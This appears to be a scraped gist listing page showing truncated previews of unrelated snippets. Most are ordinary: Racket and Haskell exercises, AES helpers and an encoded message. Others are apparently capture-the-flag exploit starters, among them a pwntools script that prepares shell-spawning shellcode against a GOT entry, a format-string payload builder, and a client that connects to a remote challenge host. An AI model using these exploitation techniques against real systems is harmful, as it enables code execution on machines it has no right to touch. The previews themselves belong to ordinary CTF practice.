This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
import struct | |
from pwn import * | |
context(arch='i386', os='linux', log_level="info") | |
buf = "" | |
exit_got = 0x0804A010 | |
spawn_shell = "\x90"*20 + asm(shellcraft.sh()) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#lang racket | |
;1 - Find the last box of a list: | |
(define (my-last l) | |
(if (empty? (cdr l)) | |
l | |
(my-last (cdr l)))) | |
;1 with loop | |
(define (my-last-loop l) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
import struct | |
def build_format_string(hex_target, int_displacement, hex_value, head): | |
target = struct.pack('<I', int(hex_target, 16)) | |
target_plus_2 = struct.pack('<I', int(hex_target, 16) + 2) | |
b4 = struct.unpack('4B', struct.pack('>I', int(hex_value, 16))) | |
low_value = b4[3] + b4[2]*256 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import Control.Monad | |
import Control.Monad.State | |
type DoubleStack = ([Int],[Int]) | |
--INTERACTIVE MAIN: | |
main = do | |
putStrLn ("Insert an initial doubleStack in the format: ([1,2,3],[4,5,6])") | |
initialStack <- getLine | |
stackManip (Just (read initialStack)) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from Crypto.Cipher import AES | |
import hashlib | |
import subprocess | |
def str_to_bytes(data): | |
u_type = type(b''.decode('utf8')) | |
if isinstance(data, u_type): | |
return data.encode('utf8') | |
return data |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
CHARS = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "B", "C", "D", | |
"F", "G", "H", "J", "K", "L", "M", "N", "P", "Q", "R", "S", "T", | |
"V", "W", "X", "Y", "Z", "b", "c", "d", "f", "g", "h", "j", "k", | |
"l", "m", "n", "p", "q", "r", "s", "t", "v", "w", "x", "y", "z"] | |
message = "JQSX2NBDykrDZ1ZHjb0BJt5RWFkcjHnsXvCQ4LL9H7zhRrvVZgLbm2gnXZq71Yr6T14tXNZwR1Dld2Y7M0nJsjgvhWdnhBll5B8w0VP3DFDjd3ZQBlcV4nkcFXBNzdPCSGMXQnQ7FTwcwbkG6RHX7kFHkpvgGDDGJvSDSTx7J6MFhRmTS2pJxZCtys4yw54RtK7nhyW6tnGmMs1f4pW6HzbCS1rSYNBk3PxzW9R1kJK54R2b7syLXd7x1Mr8GkMsg4bs3SGmj3rddVqDf4mTYq1G3yX1Rk9gJbj919Jw42zDtT2Jzz4gN0ZBmXPsBY9ktCLPdFrCPZ33NKJy5m37PK0GLXBxZz9k0cjzyt8x199jMsq7xrvNNgDNvgTbZ0xjZzHhkmrWrCmD7t4q4rWYFSJd4MZBxvnqc0VgGzdkq8jSJjnwcynq9VfH22WCQSdPKw48NkZL7QKGCT94pSb7ZSl2G6W37vBlW38q0hYDVcXTTDwr0l808nDPF6Ct1fPwKdNGKbRZ3Q3lHKMCYBC3w8l9VRjcHwMb1s5sMXM0xBvF8WnWn7JVZgPcXcwM2mDdfVkZsFzkrvVQmPfVNNdk9L5WtwDD8Wp9SDKLZBXY67QkVgW1HQ7PxnbkRdbnQJ4h7KFM2YnGksPvH4PgW2qcvmWcBz62xDT5R6FXJf49LPCKL8MQJLrxJpQb7jfDw0fTd00dX1KNvZs |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from Crypto import Random | |
from Crypto.Cipher import AES | |
import base64 | |
import requests | |
import re | |
import hashlib | |
import sys | |
#`[132, 203, 41, 215, 52, 248, 159, 26, 20, 59, 8, 177]` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package decrypt; | |
import java.awt.RenderingHints.Key; | |
import java.io.UnsupportedEncodingException; | |
import java.nio.file.Files; | |
import java.nio.file.Paths; | |
import java.security.InvalidAlgorithmParameterException; | |
import java.security.InvalidKeyException; | |
import java.security.MessageDigest; | |
import java.security.NoSuchAlgorithmException; | |
import java.security.spec.AlgorithmParameterSpec; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
solns = ['(?i)s.*e.*l.*e.*c.*t', | |
'^(a\g<1>*b)$', | |
r'(?!(xx+)\1+$)^xx+$', | |
r'^((.)\g<1>\2|.?)$', | |
r'^(?=(a\g<1>?b)c)a+(b\g<2>?c)$', | |
""] | |
r = remote('52.69.125.71',2171) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/(?!^0.+)(?!^[1235679]00$)^(([048])|([24680][048]|[13579][26])|(\d\g<3>)|((?![24680][1235679]00|[13579][01345789]00$)\d\g<4>)|(\d+\g<5>))$/ |
OlderNewer